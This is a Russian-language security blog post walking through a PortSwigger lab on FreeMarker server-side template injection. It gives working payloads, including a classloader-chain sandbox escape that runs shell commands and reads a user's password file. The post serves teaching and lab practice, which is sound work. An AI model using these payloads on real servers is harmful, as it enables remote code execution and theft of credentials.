Привет, Хабр, на связи лаборатория кибербезопасности компании AP Security! Сегодня речь пойдет о том, как можно использовать уязвимость внедрения шаблонов на стороне сервера (SSTI), когда сервер жертвы находится в изолированной среде (песочнице), при которой можно добиться удаленного выполнения кода (RCE). Всем приятного прочтения!

Дисклеймер
Все методы примененные в статье продемонстрированы в учебных целях.
Введение
Идея рассказать об этом появилась потому, что до сих пор я не нашёл ни единой информации об этом на русском сегменте Интернета. Собственно и почему я считаю эту тему вполне актуальной.
Пример уязвимого для SSTI кода
Представьте себе следующий Java-код для простой функции приветствия.
public static String helloName(String name) {
StringTemplateLoader stringTemplate = new StringTemplateLoader();
Configuration configuration = new Configuration(Configuration.VERSION_2_3_28);
configuration.setTemplateLoader();
stringTemplate.putTemplate("template", "Hello " + name + "!");
Template template = configuration.getTemplate("template");
Writer writer = new StringWriter();
template.process(null, writer);
return writer.toString();
}Здесь переменная имени предоставляется пользователем и используется непосредственно в коде шаблона. Это базовая инъекция шаблона.
Вот как выглядит шаблон после подстановки переменной:
$name=RikoЗапрос будет выглядеть следующим образом:
Hello Riko!Теперь мы можем попробовать внедрить сюда нагрузку выполнения простейшей арифметической операции, для того, чтобы удостовериться, что наш запрос обрабатывается на стороне сервера:
$name=${7*7}Когда $name является валидным кодом, сервер интерпретирует его и выдает результат. Вместо результата Hello ${77}! пользователь получит Hello 49!
Но это не единственное, что может сделать злоумышленник в таком сценарии. Используя внутреннюю функцию из Freemarker, можно сделать гораздо больше, например:
${"freemarker.template.utility.Execute"?new()("id")}Как правило, песочницы используют для запуска непроверенного кода из неизвестных источников, как средство проактивной защиты. Это значит, что находясь в песочнице, большинство функций, которые мы можем использовать в качестве нагрузки, не выполняются. Но мы же понимаем, что "большинство" это не все, поэтому давайте разбираться, что мы можем сделать.
В качестве примера, я использую лабораторную работу PortSwigger Academy:

Разведка
Как мы видим из описания, в лабораторной работе используется шаблонизатор FreeMarker, который уязвим к SSTI, и, чтобы пройти лабораторную работу, мы должны выйти за пределы песочницы и прочитать пароль пользователя Carlos из файла my_password.txt в его домашнем каталоге.
Итак, давайте разбираться.

Нас встречает сайт магазина, в которо�� можно посмотреть детали каждого продукта, а также авторизоваться, но об этом попозже.
Нажмем на какой-нибудь из товаров и посмотрим, что там есть.

Неавторизованный пользователь видит только описание продукта и ничего более. Давайте попробуем авторизоваться под пользователем content-manager:

После авторизации, мы видим, что можно сменить почту (потенциально может быть уязвимым), но SSTI тут и не пахнет, поэтому пройдём дальше в описание продукта. Как и предполагалось, контент-менеджер может изменять содержание описания товара, нажав на появившуюся кнопку Edit template (название говорит само за себя).

Точка опоры
Я использовал классическую нагрузку, для того, чтобы удостовериться, что движок выполняет базовые арифметические операции:

Отлично, но теперь давайте посмотрим, что возможно сделать с этим.
Посмотрев документацию шаблонизатора FreeMarker я понял, что класс freemarker.template.utility.Execute из пакета freemarker.template.utility предоставляет ему возможность выполнения внешних команд. Используя этот класс, можно запускать команды из шаблонов FreeMarker.
Давайте попробуем использовать обычную нагрузку из этого кл��сса, чтобы просмотреть реакцию сервера:
${"freemarker.template.utility.Execute"?new()("ls")}
Увы, при попытке инъекции произошла ошибка, в результате которой была создана трассировка стека.
И тут я начал копаться в документации FreeMarker, в результате чего заметил, что движок допускает объявление новых переменных с помощью специальных символов <>.
Можем также заметить, что есть доступ к объекту product, к которому сервер обращается, чтобы вывести цену, количество и название товара. Тогда создадим нужные нам переменные в этом объекте.
Пишем нагрузку
Для начала присвоим значение article.class.protectionDomain.classLoader к переменной classloader. Это позволит получить доступ к загрузчику классов, связанному с доменом защиты объекта product.
<#assign classloader=product.class.protectionDomain.classLoader>Теперь с помощью метода loadClass объекта classloader загрузим класс freemarker.template.ObjectWrapper. Это позволит получить доступ к методам и свойствам класса ObjectWrapper, которые используются для выполнения различных операций и получения информации, связанной с оберткой объектов в шаблонизаторе Freemarker.
Загрузив класс ObjectWrapper, мы можем взаимодействовать с его функциональностью и использовать его возможности в коде. Это включает в себя работу с оберткой, манипулированием и рендерингом объектов в контексте шаблонов Freemarker.
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>Выражение owc.getField("DEFAULT_WRAPPER") используется для получения объекта Field, представляющего поле с именем DEFAULT_WRAPPER в классе ObjectWrapper. Метод getField используется для получения поля по его имени.
После этого на объекте Field вызывается метод .get(null) для получения значения поля. Поскольку поле является статическим и не требует создания экземпляра, в качестве аргумента передается null.
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)><#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>Эта строка отвечает за присвоение значения, полученного из classloader.loadClass("freemarker.template.utility.Execute")в переменную ec.
Вот что происходит в теории:
Вызывается метод
loadClassобъектаclassloader, который пытается загрузить класс с именемfreemarker.template.utility.Execute.Возвращенный объект класса ��рисваивается переменной
ec.Класс
Execute- это класс-утилита в Freemarker, который, предоставляет возможность выполнения определенных операций в шаблонизаторе.
Таким образом, строка загружает класс Execute с помощью метода loadClass и присваивает его переменной ec. Это позволяет потенциально использовать возможности или методы класса Execute в следующей нагрузке:
${dwf.newInstance(ec,null)("ls")}Эта строка отвечает за создание нового объекта dwf, который имеет значение поля DEFAULT_WRAPPER.
Метод newInstance вызывается в объекте dwf, провоцируя создание нового экземпляра. В качестве аргумента конструктора при создании нового экземпляра передается объект ec. Полученный экземпляр сразу же вызывается как метод с аргументом ls.
Окончательная нагрузка будет выглядеть следующим образом:
<#assign classloader=product.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("ls")}Он обойдет песочницу и выполнит команду.

Остаётся только поменять ls на cat my_password.txt и лабораторная решена!
Заключение
Для того, чтобы написать собственный эксплойт с использованием цепочки объектов, первым шагом является идентификация объектов и методов к которым у вас есть доступ. Некоторые объекты могут сразу показаться интересными. Комбинируя собственные знания и информацию, представленную в документации, вы сможете составить свой список объектов, которые необходимо изучить более тщательно, для создания собственной нагрузки
